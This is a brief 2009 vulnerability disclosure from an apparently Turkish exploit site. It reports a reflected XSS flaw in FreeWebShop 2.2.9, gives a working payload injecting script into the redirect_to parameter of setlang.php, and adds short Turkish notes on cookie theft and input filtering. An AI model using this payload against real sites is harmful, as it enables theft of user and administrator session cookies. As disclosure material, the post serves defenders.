FreeWebShop ~ XSS Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > FreeWebShop ~ XSS Vuln.

Madde
	Author : Bug Researchers/system-hacker
	Date : 18.04.2009 16:55:35
	# FreeWebShop ~ XSS Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : FreeWebShop 2.2.9 # Vulnerable Type : Cross Site Scripting ( XSS ) # Infection : Yönetici ve User cookie’leri çalinabilir. # Bug Fix Advice : Zararli karakterler filtrelenmelidir. # author : Bug Researchers/system-hacker # Example : http://www.freewebshop.org/demo/setlang.php?lang=nl&redirect_to=><script>alert(document.cookie)</script> ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > setlang.php?lang=nl&redirect_to=><script>alert(document.cookie)</script> < -- bug code end of -- >